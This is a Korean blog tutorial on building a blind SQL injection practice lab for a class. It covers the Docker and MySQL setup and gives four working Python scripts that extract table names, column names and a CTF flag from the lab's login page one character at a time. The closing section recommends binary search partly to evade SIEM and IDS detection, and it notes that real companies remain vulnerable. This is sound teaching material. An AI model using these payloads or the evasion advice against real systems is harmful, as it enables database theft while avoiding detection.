본문 바로가기
webhacking

blind sql injection 실습 환경 구축 방법 + 개념 설명

by FAPER 2025. 1. 20.

http://cifrar.cju.ac.kr:25578

완성된 문제 사이트

 

http://cifrar.cju.ac.kr:25578

 

cifrar.cju.ac.kr:25578

 

개요

xss에 이어서 sqli도 강의를 해줘야 해서 직접 문제 환경을 구축했다. 이것은 같은 테이블에 원하는 정보가 없을 때, 즉 쿼리의 성공과 실패 여부만을 알 수 있는 상태에서 시도할 수 있는 blind sqli를 실습할 수 있는 환경이다.

 

 

이 서버에는 지금 다른 서비스들의 db도 쓰고 있기 때문에 도커를 통해 내부망에서 쓰는 데이터베이스 전용 네트워크 공간을 할당해 주었다. 도커 컴포즈에 한번에 넣고 하면 된다고 했는데 잘 안돼서 정석대로 그냥 db 컨테이너 하나 만들고 네트워크 만들고 문제 파일 컨테이너 만들고 네트워크에 가입시켰다.

 

정리하자면 다음과 같다.

 

 

1. webhacking 네트워크 생성 (앞으로 모든 sqli 문제들을 여기서 관리하기 위해) + mysql 컨테이너 생성 (webhacking_db)

2. 문제 서버 컨테이너 (25578 포트 사용)를 빌드

3. 해당 문제를 webhacking 네트워크에 가입

세팅

난 앞서 말했지만 기존 서버의 호스트 환경의 mysql이 있기 때문에.. 포트 충돌을 피해야 해서 3307을 쓰고 내부에서 3306으로 포트포워딩 하는 방식을 썼다.

docker network create webhacking
docker run -d \
    --name webhacking_db \
    --network webhacking \
    -e MYSQL_ROOT_PASSWORD=1111 \
    -e MYSQL_DATABASE=webhacking_db \
    -p 3307:3306 \
    mysql:latest

어차피 내부망에서 쓰는거니까 비밀번호도 대충 설정해 준다.

그럼 이제 이 webhacking_db는 webhacking이라는 네트워크에 가입된 상태이다.

 

 

version: '3.8'

services:
  web:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "25578:25578"

    environment:
      - DB_HOST=webhacking_db
      - DB_USER=root
      - DB_PASSWORD=1111
      - DB_NAME=webhacking
    networks:
      - webhacking
networks:
  webhacking:
    external: true

 

그리고 도커 컴포즈 파일을 다음과 같이 세팅한다. 원래는 그냥 저기에다가 mysql 생성까지 다 할 수 있는데 이것저것 써보다 보니 일단 저렇게 빌드했다.

 

그리고 켜주면 된다.

그리고 문제 사이트에 들어가 보면 이렇게 쿼리를 넣을 수 있다. 난 미리 init.sql을 통해서 문제에 대한 세팅을 해놓은 상태라 이렇게 guest에 1234를 입력하면 login successful이라는 메시지를 볼 수 있다.

 

CREATE DATABASE IF NOT EXISTS webhacking;
USE webhacking;

-- users 테이블 생성
CREATE TABLE IF NOT EXISTS users (
    id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL,
    password VARCHAR(255) NOT NULL
);

-- flags 테이블 생성
CREATE TABLE IF NOT EXISTS flags (
    id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
    flag VARCHAR(255) NOT NULL
);

-- users 테이블 초기 데이터 삽입
INSERT INTO users (username, password) VALUES ('admin', '1234');
INSERT INTO users (username, password) VALUES ('user', '1234');

-- flags 테이블 초기 데이터 삽입
INSERT INTO flags (flag) VALUES ('cbcamp{**FLAG**}');

 

보면 알겠지만 플래그는 flags라는 테이블에 있지 users테이블에는 없다.

그래서 blind sqli를 통해 해당 테이블의 이름을 알아내고, 칼럼을 알아내고, 칼럼의 값을 알아내 플래그를 추출하는 단계가 필요하다.

 

import requests

# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"

# 테이블 이름의 길이를 추측하는 함수
def get_all_table_name_lengths():
    lengths = []
    offset = 0  # 시작 위치
    
    while True:
        found = False  # 테이블 확인 여부
        for length in range(1, 100):  # 테이블 이름 길이는 1~99로 가정
            # GET 요청에 사용될 페이로드
            payload = (
                f"' OR (SELECT LENGTH(table_name) FROM information_schema.tables "
                f"WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {length}-- "
            )
            params = {
                "username": payload,
                "password": "1" 
            }
            
            # HTTP GET 요청
            response = requests.get(url, params=params)
            
            # 응답 확인
            if "Login successful!" in response.text:
                print(f"OFFSET {offset} 테이블 이름의 길이: {length}")
                lengths.append(length)
                found = True
                break
        
        # 더 이상 테이블이 없으면 종료
        if not found:
            break
        
        # 다음 테이블로 이동
        offset += 1
    
    return lengths

# 실행
table_lengths = get_all_table_name_lengths()
print("All Tables:", table_lengths)

 

첫 번째로 존재하는 모든 테이블의 길이를 알아내는 코드이다.

SQL Injection의 기본 개념

SQL Injection은 애플리케이션이 입력값을 제대로 검증하지 않아 발생하는 취약점이다. 공격자는 SQL 쿼리를 조작하여 데이터베이스의 구조나 데이터를 노출시킬 수 있다.

여기서는 information_schema.tables 테이블을 활용하여 현재 데이터베이스에 존재하는 테이블 이름의 길이를 추측한다. information_schema는 데이터베이스의 메타데이터를 저장하는 시스템 테이블이다.

그래서 데이터베이스의 테이블에 대한 정보가 저장돼있는 테이블을 대상으로 공격을 시도한다고 보면 된다.

 

' OR (SELECT LENGTH(table_name) FROM information_schema.tables 
WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {length}--

 

이걸 id자리에 넣게 되면 다음의 역할을 한다.

 

  • LENGTH(table_name): information_schema.tables에서 테이블 이름의 길이를 반환한다.
  • WHERE table_schema = DATABASE(): 현재 사용 중인 데이터베이스에서만 검색한다.
  • LIMIT 1 OFFSET {offset}: 특정 위치의 테이블 이름만 검색한다.
  • {length}: 테이블 이름 길이를 추측하기 위해 비교할 값이다.
  • --: SQL 주석을 사용하여 뒤의 쿼리문을 무효화한다.

그래서 테이블명의 길이가 100 이하라고 생각하고 하나씩 대입해서 맞는지 확인하는 것이다.

여기서는 이진탐색을 통해 더 빠르게 탐색할 수도 있다. 

 

 

결과적으로 2개의 테이블이 존재하고, 각각 길이는 5인 것을 알 수 있다.

 

import requests

# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"
# 테이블 이름 추출 함수
def get_table_name_by_length(length, offset):
    table_name = ""  # 테이블 이름 초기화
    for position in range(1, length + 1):  # 테이블 이름의 각 위치를 확인
        for char_code in range(32, 127):  # 출력 가능한 ASCII 문자 범위
            # GET 요청에 사용될 페이로드
            payload = (
                f"' OR (SELECT ASCII(SUBSTRING(table_name, {position}, 1)) FROM information_schema.tables "
                f"WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {char_code}-- "
            )
            params = {
                "username": payload,
                "password": "test"  # 임의의 비밀번호
            }
            
            # HTTP GET 요청
            response = requests.get(url, params=params)
            
            # 응답 확인
            if "Login successful!" in response.text:
                table_name += chr(char_code)  # 문자 추가
                print(f"OFFSET {offset} 테이블 이름 진행 중: {table_name}")
                break
    return table_name

# 모든 테이블 이름 추출 함수
def get_all_table_names(lengths):
    table_names = []
    for offset, length in enumerate(lengths):
        table_name = get_table_name_by_length(length, offset)
        table_names.append(table_name)
        print(f"OFFSET {offset} 테이블 이름: {table_name}")
    return table_names

# 테이블 이름의 길이 
table_lengths = [5,5]

# 실행
table_names = get_all_table_names(table_lengths)
print("모든 테이블 이름:", table_names)

길이를 알았기 때문에 이제 각 테이블의 이름을 똑같은 원리로 추출할 수 있다. 

' OR (SELECT ASCII(SUBSTRING(table_name, {position}, 1)) 
     FROM information_schema.tables 
     WHERE table_schema = DATABASE() 
     LIMIT 1 OFFSET {offset}) = {char_code}--

 

  • SELECT ASCII(SUBSTRING(table_name, {position}, 1))
    • SUBSTRING(table_name, {position}, 1)은 table_name의 {position} 번째 문자를 가져오는 역할을 한다.
    • 이를 ASCII() 함수로 감싸면 해당 문자의 ASCII 코드 값을 반환하게 된다.
  • FROM information_schema.tables
    • information_schema.tables는 데이터베이스의 모든 테이블 정보를 담고 있는 시스템 테이블이다. 이 테이블을 통해 데이터베이스의 메타데이터를 확인할 수 있다.
  • WHERE table_schema = DATABASE()
    • 현재 사용 중인 데이터베이스의 테이블만 대상으로 하기 위해 추가된 조건이다. DATABASE() 함수는 현재 데이터베이스 이름을 반환한다.
  • LIMIT 1 OFFSET {offset}
    • LIMIT은 검색 결과를 제한하는 데 사용된다. OFFSET은 몇 번째 테이블을 선택할지 지정하는 역할을 한다.
    • 예를 들어, OFFSET 0이면 첫 번째 테이블, OFFSET 1이면 두 번째 테이블을 선택한다.
  • = {char_code}
    • {char_code}는 테이블 이름의 특정 위치에 해당하는 문자의 ASCII 값이다. 공격자는 이 값을 순차적으로 대입하여 조건을 만족하는 값을 찾아낸다.

 

이제 테이블명을 알았기 때문에 flags라는 테이블의 칼럼 목록을 확인할 차례이다.

 

import requests

# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"

# 컬럼 이름 추출 함수
def get_column_names(table_name):
    columns = []
    offset = 0  # 시작 위치
    
    while True:
        column_name = ""  # 컬럼 이름 초기화
        for position in range(1, 100):  # 컬럼 이름의 최대 길이 가정
            found = False
            for char_code in range(32, 127):  # 출력 가능한 ASCII 문자
                payload = (
                    f"' OR (SELECT ASCII(SUBSTRING(column_name, {position}, 1)) FROM information_schema.columns "
                    f"WHERE table_name = '{table_name}' LIMIT 1 OFFSET {offset}) = {char_code}-- "
                )
                params = {
                    "username": payload,
                    "password": "test"
                }
                
                # HTTP GET 요청
                response = requests.get(url, params=params)
                
                if "Login successful!" in response.text:
                    column_name += chr(char_code)
                    found = True
                    break
            
            if not found:
                break  # 현재 컬럼 이름이 끝났음을 의미
        
        if not column_name:
            break  # 더 이상 컬럼이 없음을 의미
        
        columns.append(column_name)
        offset += 1  # 다음 컬럼으로 이동
    
    return columns

# 실행
table_name = "flags"  # 컬럼명을 추출할 테이블 이름
columns = get_column_names(table_name)
print(f"Table '{table_name}'의 컬럼명: {columns}")

 

똑같은 원리로 칼럼명에 대한 정보를 얻을 수 있다.

그럼 이제 flag라는 칼럼 안에 있는 데이터를 얻으면 된다.

 

정리해 보면 webhacking이라는 데이터베이스가 있고

flags라는 테이블이 있고

flag라는 칼럼이 존재하는 것이다.

import requests

# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"

# 특정 컬럼의 데이터를 추출하는 함수
def get_column_data(table_name, column_name):
    data, row_offset = [], 0
    
    while True:
        value, found = "", True
        for position in range(1, 100):  # 데이터 길이 가정
            for char_code in range(32, 127):  # ASCII 문자 탐색
                payload = (
                    f"' OR ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} "
                    f"LIMIT 1 OFFSET {row_offset}), {position}, 1)) = {char_code}-- "
                )
                if "Login successful!" in requests.get(url, params={"username": payload, "password": "test"}).text:
                    value += chr(char_code)
                    print(f"\r[{row_offset + 1}] {value}", end="", flush=True)
                    break
            else:
                found = False
                break
        if not value or not found:
            break
        data.append(value)
        row_offset += 1
    
    return data

# 실행
table_name, column_name = "flags", "flag"  # 테이블과 컬럼 이름
column_data = get_column_data(table_name, column_name)

 

같은 방식으로 칼럼 내부의 모든 데이터를 추출할 수 있다.

 

결론

블라인드 SQL 인젝션은 그 이름 그대로, 원하는 데이터를 한 글자씩 추출하는 과정에서 다량의 반복 요청이 발생하는 "노가다"적인 접근 방식이다. 그러나 이는 단순히 데이터를 노출시키는 문제를 넘어, 공격의 패턴 자체가 방어 측면에서도 충분히 탐지 가능하다는 점에서 최적화가 필요하다.

왜 이진 탐색이 필요한가?

이진 탐색(Binary Search)을 통해 블라인드 SQL 인젝션을 최적화해야 하는 이유는 단순히 속도 문제뿐만이 아니다. 반복적으로 발생하는 다량의 SQL 요청은 SIEM이나 IDS/IPS 와 같은 보안 솔루션에서 비정상적인 트래픽 패턴으로 탐지될 가능성을 높인다.

예를 들어:

  • 블라인드 SQL 인젝션의 기본 방식은 특정 값(예: 테이블 이름의 ASCII 값)을 하나씩 대입하며 데이터를 추출한다. 이는 특정 값에 대해 최대 n번(문자열 길이에 따라 다름)의 시도 요청을 발생시킨다.
  • 반면, 이진 탐색은 최대 요청 횟수를 log2(n)으로 줄여준다. 예를 들어, 128개의 ASCII 값을 확인해야 할 경우 기본 방식은 최대 128번의 요청이 필요하지만, 이진 탐색은 단 7번으로도 동일한 결과를 얻을 수 있다.
  • 즉, 공격 로그가 128개 찍힐게 7개 밖에 안찍힌다는 소리이다. 

결과적으로, 이진 탐색은:

  1. 공격의 효율성을 극대화한다.
  2. 불필요한 요청 수를 줄임으로써 보안 솔루션에서의 탐지 가능성을 낮춘다.
  3. 서비스 운영 측면에서 발생하는 트래픽 부하를 줄인다.

SQL 인젝션 탐지의 현실

많은 사람들이 "딱 보면 SQL 인젝션을 모를 리 없다"라고 생각하지만, 현실은 더 복잡하다. 보안 관제나 트래픽 모니터링 도구에서 SQL 인젝션을 우선적으로 탐지하는 주요 기준은 트래픽의 양이다.

만약 공격 대상이 잘 사용되지 않는 소규모 서비스라면 갑작스러운 트래픽 급증은 보안 솔루션에서 탐지되어 경고(Alert)가 발생할 가능성이 크다.
하지만 대규모 사용자 트래픽을 처리하는 서비스에서는, 일반적인 쿼리 요청과 SQL 인젝션 요청을 구분하는 것이 어려울 수 있다.

이진 탐색을 활용한 SQL 인젝션은 요청 횟수를 크게 줄이므로, 대규모 서비스에서도 탐지가 더 어렵게 되는 것이다. 요즘 sql인젝션이 되는 서비스가 어딨냐고 물어보지만 잘 찾아보면 아직도 유지보수를 덜 해서 취약한 서버를 쓰고 있는 회사들이 많다. 왜냐하면 서비스 자체를 갈아엎는 것보다 앞단에 보안 장비를 놓고, 또 앞단에 보안 장비를 놓는 식으로 방어하는 게 더 싸게 먹히기 때문이다. 그럼 sql 인젝션에 대한 취약점 자체는 여전히 존재하지만, 그냥 엄청난 데이터의 축적으로 만들어 놓은 필터링 규칙이 그 페이로드가 도달하지 못하게 막고 있는 상태라고 보면 된다.